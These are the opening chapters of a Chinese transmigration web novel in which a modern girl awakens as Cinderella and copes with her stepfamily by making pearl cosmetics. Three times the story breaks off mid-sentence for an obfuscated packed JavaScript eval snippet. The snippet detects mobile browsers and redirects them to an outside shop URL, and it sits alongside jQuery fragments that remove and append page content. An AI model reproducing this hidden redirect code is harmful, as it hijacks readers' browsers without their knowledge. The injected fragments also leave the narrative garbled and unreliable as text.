《[综穿]辛蒂的童话集》 1. 辛蒂 这是一个异常寒冷的雪天，病榻上的女人被病魔折磨得只剩一把骨头，隐约能看出以往美丽容貌的脸上流露出无尽的愁容。 “亲爱的辛蒂，你务必要活得如黄金般纯良，如羔羊般温驯。唯有如此，天主才会保佑你，我才能闭眼安息。” 床榻边的小姑娘头发乌黑，眼眶红红，她抽噎几声，不敢说出任何忤逆的话，唯恐面前这个可怜的女人走得不安心。 她心里想的却并不是这么一回事，“亲爱的妈妈，黄金会引来别人的觊觎，羔羊只会让人觉得软弱可欺。对不起，我恐怕做不到。” 女人欣慰于女儿的顺从，不知道是不是她的错觉，自从她生病以后辛蒂就不像以往那般柔顺，整天眼睛轱辘轱辘转个不停，神出鬼没的不知道在琢磨什么鬼主意。 眼下她也管不了那么多啦，天主他老人家已经召唤她了，能坚持到现在也是她放心不下年幼的女儿的缘故。 做完最后的交代，女人带着嘴角的一丝笑意投入了天主的怀抱。 女人的葬礼上，辛蒂痛痛快快地哭了一场，这个女人虽然不是她真正的母亲，她温暖的手和棉花一样的关切的眼眸让她生出了许多濡慕之情。 再加上辛蒂想到未来很长一段时间的黑暗生活，不禁悲从中来，哭声更大了许多。 辛蒂一发不可收拾的哭声让詹姆斯皱起了眉头，难道太太的去世把辛蒂的灵魂也带走了吗？这可不是淑女应该发出的声音。 詹姆斯干咳两声，意在提醒辛蒂注意形象，辛蒂充耳不闻，这个漠视女儿被继母和继姐虐待的渣男不配得到她的尊重。 最后女仆珍妮搀扶着几乎要哭晕过去的辛蒂回了房间，辛蒂抽噎着睡去，她未曾谋面的继母以容嬷嬷的形象出现在她的梦里，一脸阴狠的要给她扎针，吓得她立即醒了过来。 珍妮带着毛巾出现在辛蒂的房间门口，女仆不过比辛蒂大了三五岁，却几乎承担着整个詹姆斯家的家务劳动，她为辛蒂冷敷着眼睛，嘴上絮絮叨叨的抱怨不停： “小姐，你不该在葬礼上哭得像公鸡打鸣一样！许多绅士都被你吓到了，他们中的之一可能是你未来的丈夫呢。还好你的年纪还小，大家最多嘲笑你几句，以后千万要注意自己的淑女形象。” 辛蒂嘴上嗯嗯啊啊，心思却飘得很远。 辛蒂是半年前来到这个世界的，辛杜瑞拉这个名字让她隐隐意识到这是人人都耳熟能详的《灰姑娘》的故事，女人临终前的话让她有了八九分的肯定。 按照故事的走向，这个冬天过完了詹姆斯就会迎娶带着两个女儿的继母，那时候就是她悲惨生活的开始。有什么办法可以让她避免变成睡在火炉边的辛杜瑞拉吗？ 辛蒂想了许多办法，可是一个十二三岁的小姑娘，没有任何谋生的本领，只能仰赖自己的父亲生活。 让她阻止詹姆斯再婚她做不到，詹姆斯正是年富力强的年纪，能忍耐一个冬天已经算是对女人情深。 或者让詹姆斯不要娶恶毒的那个？这很难，且不说詹姆斯会不会听她的，她连莫罗小姐是圆是扁都不清楚！ 辛蒂觉得很挫败，命运跟她开了一个巨大的玩笑，她成为辛杜瑞拉这么久，却改变不了一点儿命运的轨迹。 可是这真的很难啊，来到这个身体之前，辛蒂也不过就是个十六岁的高中生，没有每天以泪洗面已经是她很坚强的缘故了。 时间在辛蒂不断失败的尝试中悄然来到了第二年的春天，门前厚厚的积雪被温暖的阳光融化，整个院子变得湿哒哒的，以至于辛蒂走路需要小心翼翼的，以免弄脏裙角。 这天辛蒂正在对着院子里融化的雪人发呆，又被女仆珍妮发现她不穿斗篷在室外活动，挨了好一顿唠叨。 好不容易听到外面传来马车上的铃铛叮当作响的声音，辛蒂知道那是詹姆斯回来了。 找到摆脱珍妮唠叨的借口，辛蒂忙不迭迎出门去，穿着燕尾正装的詹姆斯风度翩翩地从马车上下来，随即扶出一名美丽的女士。 辛蒂脸上的笑容一凝，继母出场了。 詹姆斯很满意辛蒂的迎接，不过辛蒂身上的家常衣裙让他觉得不够郑重，他迫使自己紧皱的眉头松开，温声道： “辛蒂，这位是我之前跟你提到过的莫罗夫女士以及她的两个女儿西尔维娅和阿米莉亚，薇薇安，这是我的女儿辛杜瑞拉，相信你们以后能相处得很愉快。” 薇薇安·莫罗是一个身材颇丰，很有韵味的美丽女人，她戴着黑色蕾丝手套的手轻轻搭在詹姆斯的臂弯里，轻笑一声：“当然，亲爱的。” 西尔维娅和阿米莉亚也很友好地跟辛蒂打了招呼，她们不如莫罗女士美丽，却也称得上是清秀佳人。 辛蒂妄想着剧情不一定等于现实，她或许可以跟继母和继姐友好相处，毕竟她们看上去都是如此美丽而无害。 她没看到满脸雀斑的西尔维娅因为她洁白的肌肤和茂密的黑发脸上一闪而过的嫉恨，也没看出莫罗女士的笑意不达眼底。 詹姆斯更看不出这些暗处的汹涌，他的眼里只有薇薇安丰满的胸脯和长裙下有一下没一下撩拨着他的纤细的小腿，像个毛头小子一般脸红到了耳根。 暴风雨比辛蒂想象中来得更快些。 莫罗夫人在度过甜蜜的新婚后赫然发现，在填补完莫罗家的债务后，詹姆斯·杜波依斯已经不剩多少财产了！ 这可跟詹姆斯之前说的数对不上，莫罗夫人很快意识到柴尔斯欺骗了她。 面对莫罗夫人的质问，詹姆斯显得理直气壮：“相信我，亲爱的，赚到这个数字不过是早晚的事。我只是太想得到你了，请原谅我。” 莫罗夫人好歹是个勋爵夫人，愿意下嫁商人詹姆斯只是因为他的身家足够丰厚，可以帮她偿还债务。 事已至此，莫罗夫人不管心里如何想，面上只能挤出一个甜蜜的微笑：“我当然相信你，亲爱的詹姆斯，请你不要忘了许诺给我的红宝石首饰。” 詹姆斯自然是满口答应，也不算是空话，他自认为以自己的能力和才智，且有金山银山等着他赚呢。 莫罗夫人却不敢掉以轻心，为了维持她的贵妇人生活，她开始削减家里的开支。心虚的詹姆斯不敢对她的行为做出任何质疑。 一开始，辛蒂只是发现早餐没了奶油浓汤，只有干巴巴的面包配蓝莓果酱。 后来辛蒂突然意识到自己按理说每个季度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760604|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有两条新裙子和两双新鞋，可是自从莫罗夫人管理家务以后，再也没有裁缝上门给她量身了。 最后是女仆珍妮的辞行，珍妮同情地看着这个早早失去母亲的可怜女孩，尽管辛蒂的父亲是大商人，她还有着出众的美貌。 可是在珍妮看来，辛蒂并不比她这个厨娘的女儿过得快乐，这个家里几乎没有人关心辛蒂，她在这里简直像个幽灵。 眼下辛蒂还能吃饱穿暖，再过几天未必就有这样的好运气了。 “辛蒂小姐，我要离开了，莫罗夫人辞退了我。真搞不懂这些夫人心里在想些什么，没了女仆难道她要亲自洗衣做饭擦地板吗？” “我的去处已经找好了，辛蒂小姐不用担心我，你要小心莫罗夫人，我总觉得她看你的眼神不对劲。可怜的辛蒂小姐，真想把你一起带走，可我只是一个小小的女仆······” 望着面前仰着头听她说话的辛蒂，她的面孔如同冰雪雕砌而成的，说不出的精致可爱，要是辛蒂小姐可以被揣进围裙口袋就好了，珍妮忍不住又叹了口气。 作为杜波依斯府上唯一的女仆，珍妮的薪水比起她每天要完成的家务来说算是很低了。 她一直都没离开的原因有一部分是因为辛蒂，辛蒂总是让她想起自己的小妹妹，为此珍妮常常愿意多照顾辛蒂一些。 现在却没办法了，莫罗夫人要辞退她，她也不能硬留下不走。 辛蒂的内心没有表面上那般天真懵懂，从女仆说自己被辞退那一刻起她就幻视了自己未来每天洗衣做饭擦地板的命运。 天真的珍妮，她难道真的以为莫罗夫人会干这些事吗，这些都会是女仆辛蒂的活！ 辛蒂已经为这一天的到来做了无数的心理建设，还有身体准备。为了能够应付家务强度，她坚持每天做广播体操和跳绳。 一开始她怪模怪样的动作让女仆珍妮差点以为她被魔鬼附身，在听到辛蒂解释后，珍妮多次劝她“不要做这种有碍淑女形象的动作”无果后，珍妮放弃了唠叨，这是少数辛蒂能犟过珍妮的事呢。 辛蒂想到这里有些得意，忽然意识到珍妮已经离开了，或许以后都不会再见，又沮丧了起来。 女仆珍妮离开的第二天清晨，莫罗夫人就在早餐时宣布“家里已经用不起女仆了”这一噩耗。 詹姆斯相当惊讶，最近的市场行情是不太好，可是他每周拿回家的金币也没少啊。 他质疑的话在莫罗夫人柔和却不容置疑的眼神中吞回了肚子，他心想有没有女仆的也少不了他这个一家之主的，随她去吧，完全忘了自己还有一个需要照顾的小女儿。 詹姆斯都没有说话，辛蒂就更没有话语权了，她知道她但凡提出一点异议，美丽的莫罗夫人就会轻轻皱起她那对好看的眉毛，语调温柔却又暗含责备：“小辛蒂，你要懂得体谅你爸爸的辛苦，现在哪怕是一枚金币也不好赚呢。” 辛蒂这时候就会哑口无言，她已经在这种言语的交锋下被挫败好几次了，最重要的是詹姆斯并不会帮她哪怕一句话，就算她有道理詹姆斯也不会偏向她。 辛蒂叹了口气，这是她今天第二次怀念女仆珍妮了，第一次是吃到烤糊的面包的时候。 2. 家务 莫罗夫人并没有急着苛待继女，而是和自己的两个女儿像模像样轮流做了几天家务之后齐齐病倒了。 在詹姆斯要把女仆请回来的话语脱口之前，莫罗夫人的目光已经准确地定位到了辛蒂身上：“亲爱的小辛蒂，最近几天需要麻烦你做一点家务，等西尔维娅和阿米莉亚康复后，你就可以好好休息了。” 面对病中继母恳切的目光，辛蒂还能说什么呢，不过是做几天家务而已，她要是拒绝就太不懂事了。 莫罗夫人满意地看着眼前这个美丽得扎眼的小女孩顺从地答应了自己的要求，不知道她在整天和灰尘作伴后，是不是还能维持这样的美丽呢，她已经想好了辛蒂的新名字，辛杜瑞拉，哈，顺耳极了。 辛蒂知道，做家务这种事。一旦接过来而且做得还过得去后，这就会理所当然的完全变成她的事，而且不管做得怎么样都不会有人感激她，只会觉得理所当然。 辛蒂决定学习她的爸爸，哦当然不是指的詹姆斯，而是她以前的爸爸。 在辛蒂刻意的笨手笨脚之下，她一天之内摔坏了十个盘子、“不小心”放跑了詹姆斯的马匹、把莫罗夫人一件心爱的丝绸小衫染上了别的颜色。 在被训斥后，辛蒂那双小鹿一般可怜的大眼睛就会迅速盈出泪水，并不为自己狡辩，只是一昧道歉并且真诚承诺自己下次一定会做好，当然下次也做不好。 即使辛蒂已经尽量偷懒了，之前也有好好地锻炼身体，这个家里的家务强度还是超过了辛蒂的预期。 一天三顿四个人的饭菜，四个每天打扫的房间和客厅，还有一个小花园需要打理，一天下来辛蒂累得腰酸背痛。 她之前不理解为什么原作的辛杜瑞拉有那么丰沛的情绪可以每天去母亲的坟前哭泣，现在的她觉得自己也哭得出来，不过她恐怕没有时间浪费在哭泣上。 不过好在损失了一件丝绸小衫的莫罗夫人和失去一匹马的詹姆斯在为辛蒂擦完屁股后达成了共识，这个家少了女仆得散，于是女仆珍妮又一头雾水的被请了回来。 虽然不知道发生了什么，珍妮很高兴自己又回到了杜波依斯府，不仅仅是薪水涨了不少的缘故，看见可爱的辛蒂小姐，珍妮的心情也会变得更好呢。 女仆珍妮的回转让辛蒂的日子好过了不少，不仅仅大部分家务都不用辛蒂做了，珍妮手里总有辛蒂一口吃的。 辛蒂正是长身体的时候，常常会感到饥饿。 对食物的需求在莫罗夫人看来却是不恰当的，她总是说：“亲爱的小辛蒂，要知道真正的淑女是不会吃那么多东西的，你需要维持苗条的身材，这样未来才能找到合心意的绅士作为丈夫。” 一两次后，辛蒂再也不在莫罗夫人面前说饿，而是直接找女仆珍妮寻求投喂。珍妮虽然也常常把辛蒂那个虚无缥缈的“绅士丈夫”挂在嘴边，却从不限制辛蒂的食欲，她最喜欢看辛蒂吃东西的样子，活像个小松鼠。 如此一天天过去，辛蒂不知不觉胖了一圈，好在她年纪还小，肥嘟嘟的脸颊并不显得过于突兀。 就连詹姆斯也注意到了小女儿的肥胖趋势，忍不住提醒她不能再吃了。辛蒂这才惊觉自己的放纵，想想自己可是要嫁给王子的，王子可不会对一个胖女孩一见钟情，这才控制住了自己的体型。 一天，詹姆斯准备去城里做生意，他问自己的两个继女希望他带什么礼物回来给她们。 西尔维娅听到有礼物，脸上的雀斑都飞扬起来，她露出一个甜甜的笑容道：“我想要美丽的裙子。” 阿米莉亚年纪略小，更喜欢亮晶晶的东西，于是她说：“我想要闪耀的宝石。” 詹姆斯点点头准备出发，鬼使神差的想起来自己还有一个小女儿，他呼唤着辛蒂的名字，灰扑扑的小姑娘不知道从哪个角落里钻了出来，歪着头一脸疑惑地看着詹姆斯。 詹姆斯有些嫌弃辛蒂看起来脏兮兮的裙子，却还是耐心问道：“辛杜瑞拉，你要什么礼物？” 没错，辛蒂最后还是没有逃过被称作辛杜瑞拉的命运，因为她老是喜欢到处乱窜，还喜欢跟女仆珍妮混在一起，浅色的裙子一天下来总是会出现这一块那一块的污渍。 于是莫罗夫人借故给她做的裙子都是用的暗色不好看的布料，辛蒂也不计较，漂亮裙子不能吃不能喝的，对她来说基本无用。 辛蒂不在意詹姆斯的称呼，她眼睛一亮，新的剧情点来了吗？以前看童话故事，她最好奇的就是神奇的小白鸟，不知道是不是真的她想要什么就有什么。 辛蒂毫不迟疑：“我想要您在回来的路上，第一根挡住您帽子的树枝。” 这真是个稀奇古怪的要求，不过很好办到，詹姆斯点点头，策马离开了。 傍晚时分，辛蒂果然得到了一根榛子树的树枝。 她把树枝种在女人的坟前，她忽然想起来原本的故事里，辛杜瑞拉每天用泪水浇灌这棵小小的榛树，可是她没有辛杜瑞拉那么能哭呀，一时间有些犯愁。 辛蒂又害怕要是不用眼泪，恐怕这棵树无法长大，这样就吸引不了有魔法的小白鸟了。她最后决定严谨一点，每天都用洋葱之类的弄点眼泪出来，混在水里一起浇灌这棵榛树。 榛树和辛蒂一起一天天长大，莫罗夫人时不时的会刁难辛蒂，比如让她挑出她不小心倒进灰里的豆子、明嘲暗讽她礼仪缺失之类的，辛蒂都觉得不痛不痒，甚至觉得这些贵妇人折磨人的手段真是匮乏。 还不如她原来世界的妈妈一句“我都是为了你好”来的杀伤力大。 不过两个继姐实打实的给辛蒂造成了一些困扰，西尔维娅嫉恨辛蒂光洁的肌肤，不仅占据了辛蒂的房间作为自己的衣帽间，还常常对辛蒂提出一些不合理要求。 “喂，脏兮兮的辛杜瑞拉，快去给我捉几只蟾蜍来，我需要用它的汁液美容。” 辛蒂不情不愿地答应了，西尔维娅为了美丽的脸蛋，真是越来越疯狂了。明明看到虫子就会尖叫，却还是敢把那么恶心的汁液敷在脸上。 这个偏方没准又是那个恶毒的塞拉菲娜告诉西尔维娅的，塞拉菲娜是个落魄小贵族的女儿，她的每条裙子都洗得发白，她嫉妒杜波伊斯府良好的经济情况，老是用甜蜜的话语给西尔维娅一些恶毒的建议。 上次她还建议西尔维娅用柠檬汁洗脸，据说这样可以祛痘。西尔维娅因为塞拉菲娜的贵族身份对她深信不疑，结果柠檬汁让西尔维娅的脸红肿了好几天！ 面对西尔维娅的质问，塞拉菲娜一副她也不知道为什么会发生这样的事的表情，宣称这是皇后都会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760605|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用的偏方呢，或许只是不适合西尔维娅的肤质。 愚蠢的西尔维娅居然相信了塞拉菲娜的说辞，甚至怀疑是不是辛蒂在柠檬汁里动了手脚！ 不过她不敢把这事告诉莫罗夫人，倒不是为了辛蒂不受惩罚，而是她自己不想被妈妈唠叨。 以至于出了这样的事后塞拉菲娜还是杜波伊斯府的座上宾，她苍白的小脸蛋和甜蜜的笑容迷惑了不少人呢。 西尔维娅想要的蟾蜍汁液辛蒂肯定是不会去帮她弄的，谁知道那玩意里面有多少病菌呢？应付西尔维娅，辛蒂有别的办法。 辛蒂原本的房间，现在已经是崔莉西亚两姐妹的化妆室和衣帽间里，西尔维娅看着辛蒂手中小银碟子里装着的的细腻白色膏体，露出了一个怀疑的表情：“辛杜瑞拉，你确定这个东西可以遮住我的雀斑吗？” 辛蒂点点头，这可是她费好大劲磨出的珍珠粉和蛋清混合而成的简单护肤品，不说有多么干净无害吧，肯定比什么蟾蜍的汁液效果要好。 “不仅可以遮雀斑，每天敷脸还可以美白呢。”辛蒂笃定的语气让西尔维娅的怀疑消散了少许。 之前她怀疑辛蒂使坏，后来想想这似乎对她没什么好处，反而可能招致惩罚，只以为确实是肤质问题。 她一点也没有怀疑到塞拉菲娜的头上，皇后殿下都用的护肤方法怎么会有问题呢？ 要是辛蒂知道西尔维娅的想法，肯定会再次感叹于她的愚蠢，毕竟就连女仆珍妮都觉得所谓皇后殿下的护肤方法听起来有些太简陋了。要真是什么宫廷秘方，肯定会混合七八种名贵的花草，这才能显示出尊贵的身份呢。 珍珠膏的效果简直出乎西尔维娅的意料！ 只需要一点点细腻的白色膏体，西尔维娅痛恨的浅色斑点就如同魔法一般从她白皙的脸蛋上消失了。 现在她的皮肤看上去就跟辛蒂的一样光滑无暇了！ 旁边看戏的阿米莉亚也被这小小膏体的魔力所折服，她用小指甲轻轻挑起一点，学着辛蒂的样子用指腹按压涂抹在脸上，最近令她烦恼不已的痘痘瞬间消失无踪。 阿米莉亚的肌肤不如西尔维娅和辛蒂的白皙，珍珠膏在她的脸上显得有些许突兀。 不过阿米莉亚是个比她姐姐聪明得多的女孩，她蘸取了更多的珍珠膏，均匀地涂抹在了整张脸上。 她有些平庸的五官因为变白的肤色竟然绽放出了美丽的光彩，而且这种白皙竟然相当自然，不像那些贵族老爷太太们所使用的铅白那么僵硬死板。 连西尔维娅都忍不住发出了赞叹：“亲爱的阿米莉亚，我第一次觉得你竟然是个美人呢。” 阿米莉亚因为姐姐稍欠情商不足的话优雅地翻了一个白眼，她看向贝蒂，露出了一个甜蜜的微笑：“亲爱的小辛蒂，我为你的才能感到骄傲。你能告诉我这个神奇的软膏是怎么制作的吗？” 辛蒂打了一个寒战，这还是阿米莉亚第一次用这种语气跟她讲话，她一向自命不凡，老是用一种看蠢人的表情对着她的姐妹们，话语也常常是尖酸刻薄的。 辛蒂朝阿米莉亚做了一个鬼脸：“我才不会告诉你。” 随即转身离开了房间，只留下生气的阿米莉亚：“臭小鬼，我等会就告诉妈妈，她总有办法让你说出来！” 3. 珍珠膏 辛蒂一溜烟跑回厨房，这里是她和珍妮的“大本营”，她百分之六十的时间都在这里捣鼓她的那些小玩意。 珍妮替辛蒂理了理乱掉的发丝，埋怨道：“辛蒂小姐，你也是个大姑娘了，多少要注意些自己的仪态，没有哪个绅士会愿意娶一个疯丫头的！” 不需要辛蒂作出回复，珍妮继续道：“西尔维娅小姐没有为难你吧？我想她也找不出为难你的理由，魔法膏那么好用，连我这样平庸的脸蛋都能妆点出几分姿色呢！” 珍妮也是被珍珠膏的效果折服的一员，她固执地坚持魔法膏这个名字，她觉得只有魔法才能有这么神奇的效果。 辛蒂对着朴实却干净整洁的女仆扬起一个笑脸：“当然，亲爱的珍妮。西尔维娅和阿米莉亚都很喜欢珍珠膏，能做出这样好的东西，离不开你的帮助，我都不知道应该怎么感谢你才好。” 女仆珍妮因为辛蒂的话感到些许不好意思：“哦天哪，别这么说，辛蒂小姐，我不过帮你磨了点珍珠而已。” 辛蒂耸耸肩，不再和女仆做无用的争辩。 她心里清楚，那些比石头还要坚硬的珍珠，在没有现代机械的帮助下磨成细腻的粉末是多么费劲。 要是没有女仆的帮助，她自己是很难做到的。辛蒂打定主意要是珍珠膏可以像她设想中那般盈利，她一定会分给珍妮很多很多金币。 “亲爱的珍妮，你说要是我把珍珠膏对外售卖，能得到多少金币呢？” 女仆珍妮因为辛蒂的话惊呼一声，表情变得严肃了起来：“辛蒂小姐，请不要说这种话！你可是身份高贵的小姐，要知道只有破落户家的女孩或者寡妇才会出去抛头露面卖东西呢！” 随即女仆看到辛蒂小姐流露出十分惹人怜惜的神情，那双美丽的眼睛里的悲伤几乎让人心碎。 “亲爱的珍妮，你知道的，詹姆斯和莫罗夫人都不喜欢我。未来要是莫罗夫人把我赶出去，我又跟那些贫民窟的女孩儿有什么区别呢？” “售卖魔法膏也是因为我想攒点金币，这样以后我才不至于无家可归，连面包都吃不起呢。” “哦我可怜的小辛蒂！”感情丰沛的女仆忍不住把可怜的女孩搂在怀里，她本来想说詹姆斯不至于那么狠心，不过一想到他那么为莫罗夫人神魂颠倒，就觉得这也不是不可能。 女仆珍妮被辛蒂的小花招糊弄得眼泪汪汪的，对于辛蒂想要多做一点珍珠膏进行售卖的小要求满口答应，完全忘了自己之前的坚持。 晚饭时间，莫罗夫人果然提到了珍珠膏，她看不出原料，和珍妮不约而同也把珍珠膏称作是魔法膏。 “小辛蒂，听说你制作了一种神奇的可以修饰肌肤的魔法膏。我想你可以把制作方法交给阿米莉亚，这样她们就可以自己制作，不用老是使唤你了。” 莫罗夫人的语气一如既往的温柔，带着几分让人不易察觉的强势，听起来就是一个体贴的好继母。 多亏了她的好继母，辛蒂如今也学会了这种软中带刺的交流方式： “夫人，这种魔法膏的制作十分困难，我想阿米莉亚姐姐柔嫩的双手无法适应这种强度的工作。她尽管找我好了，我很高兴能帮到姐姐们。” 詹姆斯听不出她们的机锋，也不知道魔法膏是什么东西，想来就是女孩子的小玩意罢了。他只觉得辛蒂和继母姐姐相处得这样好，和睦温馨的家庭氛围让他欣慰不已。 莫罗夫人听出了继女的拒绝之意，她并不在意，如辛蒂所说，要是阿米莉亚要，让辛蒂制作就好了，不必要什么配方。 阿米莉亚不知道配方也好，免得她老是想要像平民一样靠卖东西赚钱。 虽然继父是商人，西尔维娅和阿米莉亚仍旧是勋爵的女儿，贵族整天想着赚取金币是会被瞧不起的，莫罗夫人还指望她们未来嫁给有钱的绅士呢。 再说了，莫罗夫人其实并不觉得这种魔法膏能赚到金币，这也是她本人的容貌已经足够光彩耀人，不需要这种东西的修饰的缘故。 阿米莉亚没有如愿弄到魔法膏的制作方法，一连几天都对辛蒂没什么好脸色，除了告诉妈妈，她也没有别的手段可以对付辛蒂。 不管怎么样，为了裙子和珠宝，她还是需要在詹姆斯面前扮演出关爱姐妹的样子，一个好姐姐可不会老是欺负妹妹。 辛蒂最近也不好受，她拜托珍妮帮她把魔法膏拿到外面的商店进行寄售，竟然一份都没有卖出去！ 这直接导致了辛蒂的一系列规划胎死腹中，她不仅仅捣鼓出了珍珠膏，还有天然材料制作的口红眉笔之类的。辛蒂还计划着后面捣鼓出一条美妆产线呢，可是连珍珠膏她都卖不出去。 这是辛蒂完全没有想到的，难道这个时代的女性都不追求美丽吗？她猜测可能是因为寄售的价格过高，可是这已经是考虑到购买力的最低价格了，只能堪堪覆盖珍珠的成本。 女仆珍妮的话点醒了辛蒂：“老实说，换做是我也不会买的。一份魔法膏竟然要一个银币，这可是我一周的薪水，我更愿意花一个银币买一小块肉带回家改善伙食。” 辛蒂意识到自己的目标客户错了，她应该瞄准那些贵妇人才是。 可是她平时不能出门，接触到的唯一的外人竟然只有塞拉菲娜，难道她要和这个恶毒的女孩合作吗？ 辛蒂下意识摇头，她可玩不过塞拉菲娜，她怕自己被卖了还要帮塞拉菲娜数钱呢！ 正发愁呢，厨房的传唤铃叮叮当当的聒噪起来，准是那两姐妹又想到什么使唤辛蒂的方法。 上楼一看，说曹操曹操到，塞拉菲娜来了。 最近为了安抚两姐妹，也为了实验新化妆品的效果，辛蒂又提供了不少变美的小技巧以及一些在她们看来非常神奇的小东西。 多亏了她以前有段时间对天然化妆品感兴趣，做过不少尝试，以至于成绩都下滑了不少，虽然也就是三分钟热度，也记得不少制作方法，目前完全够用了。 西尔维娅这次邀请塞拉菲娜过来正是想要炫耀自己的美丽，以及让好姐妹也体验一下辛蒂神奇的变美技巧。 说起来西尔维娅对于塞拉菲娜挺好的，有什么好事都会想到她，也不知道塞拉菲娜偶尔会不会因为自己的恶毒感到愧疚。 看到西尔维娅的妆容，塞拉菲娜果然十分捧场，她夸张地惊呼一声，当然没忘了用手帕遮住张大的嘴巴以维持仪态： “天哪！亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760606|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的西尔维娅，你简直就是维纳斯在世，我敢保证，要是王子殿下看到你的美貌，肯定再也瞧不见其他小姐了。” 西尔维娅显然十分受用，涂着浅色唇蜜的嘴唇抑制不住上扬的弧度。 塞拉菲娜也没忘记夸奖辛蒂：“亲爱的小辛蒂，你的手好像有魔法一样，我已经迫不及待想要试试这些小东西了！” 值得一提的是，塞拉菲娜之前来的时候都是称呼继母常常挂在嘴边的“辛杜瑞拉”，这次听到两姐妹更改了称呼，她也从善如流。 塞拉菲娜的夸奖听起来十分悦耳，而且往往能夸到点子上，给人以极大的愉悦之感。 且她表面上对辛蒂十分温柔，从不像西尔维娅一样对她大呼小叫。 辛蒂之前因此对塞拉菲娜很有好感，直到有一次明明是西尔维娅发脾气打碎了一只珍贵的花瓶，西尔维娅害怕莫罗夫人的责骂，把一切都推到了辛蒂的身上，辛蒂当然坚称这是污蔑。 这是詹姆斯心爱的收藏品，莫罗夫人为了做出表面上的公正，询问了目睹一切的塞拉菲娜。 塞拉菲娜无视辛蒂求助的目光，苍白的脸蛋上流露出一种“我很心疼小辛蒂，但是为了公正我不得不说出实话”的神情。 “莫罗夫人，我确信是辛蒂打碎了花瓶，但是我相信她不是故意的，詹姆斯先生，希望你不要惩罚可怜的小辛蒂。” 怒火中烧的詹姆斯狠狠地惩罚了辛蒂，他把辛蒂关进了一个伸手不见五指的小黑屋足足二十四小时，直到辛蒂痛哭流涕承认就是她的错后，才被放出来。 小黑屋的滋味可不好受，也是这一次，辛蒂彻底对詹姆斯感到失望。 言归正传，辛蒂现在对于面甜心苦的塞拉菲娜十分戒备，她总觉得塞拉菲娜笑盈盈的面孔下肯定在打着什么坏主意。 洞悉一切的阿米莉亚也十分清楚塞拉菲娜的真正面目，不过她乐得看西尔维娅和辛蒂吃瘪，况且塞拉菲娜没有得罪过她，她还想从塞拉菲娜那里听到王子殿下的最新消息呢。 “听说国王最近在为王子寻找一个身份尊贵的小姐作为妻子呢。”塞拉菲娜没有辜负阿米莉亚的信任，直接抛出了一个重磅消息。 两声短促的尖叫划破了短暂的寂静，引得楼下的莫罗夫人发出了不满的训斥：“姑娘们，淑女些！” 西尔维娅和阿米莉亚冷静下来，看到辛蒂不以为然的表情感到极其不满。 “喂，辛杜瑞拉，你那是什么表情？你知道王子殿下有多么英俊身材多么高大吗？” “你知道王子殿下的一件礼服需要耗费多少金线吗？” “你知道王子殿下的冠冕花了多少黄金和钻石打造而成的吗？” “你知道王子殿下迷倒了多少夫人小姐，多少人都想和王子殿下春风一度吗？” “你什么都不知道，却露出这样的表情，这是对王子殿下的一种亵渎！”两姐妹这时候展现出了惊人的默契，一起批判着辛蒂小小的不敬，唾沫星子都溅到辛蒂脸上了。 辛蒂连忙求饶，承认了自己的无知，这才逃过了更多的口水。 西尔维娅不再追究辛蒂，开始追问塞拉菲娜王子殿下选择妻子的要求。 4. 小白鸟 塞拉菲娜的表情相当遗憾：“听说目前国王陛下只在邻国的公主之中考察合适的联姻对象。要不然我相信以西尔维娅你的美貌，足以配得上王子妃这个头衔呢。” 辛蒂和阿米莉亚都知道塞拉菲娜在睁眼说瞎话，偏偏西尔维娅吃这一套，露出了一个娇羞的笑容，仿佛王子殿下真的向她求婚了似的。 辛蒂在心里嘀咕着这些女人真是可怕，不知道王子会不会被念叨得耳朵发红呢。 既然王子妃无望，三人又聊起王子殿下最近的风流轶事。 一会是王子殿下成为了哪位公爵夫人的入幕之宾，一会是他又跟某某小姐被人撞见在花园里亲亲我我。 西尔维娅露出一个梦幻的表情：“要是王子能吻我一下，我死也愿意了。” 阿米莉亚和塞拉菲娜也赞同地点点头，可惜王子是看不上小贵族的女儿的，除非对方有着惊人的美丽，三人对这一点都十分清楚。 辛蒂却觉得十分幻灭，王子不应该是深情又专一的吗？怎么听起来这个王子是如此的滥情。 她忍不住发出疑问：“你们难道不觉得王子殿下这样做不太好吗？”为了防止被指责对王子不敬，辛蒂特意加了尊称。 辛蒂的观点并没有招致异样的眼神，阿米莉亚嘲讽一笑：“贪心的女孩，你难道希望尊贵的王子殿下只有一个女人吗？有珠宝和地位，我想每个女人都应该满足于此。” “就算没有王子妃的尊荣，慷慨的王子殿下从不吝惜给情人的礼物。” 说到这里，三个女孩再次露出了高度统一的狂热表情，她们在这方面确实是好朋友没错了。 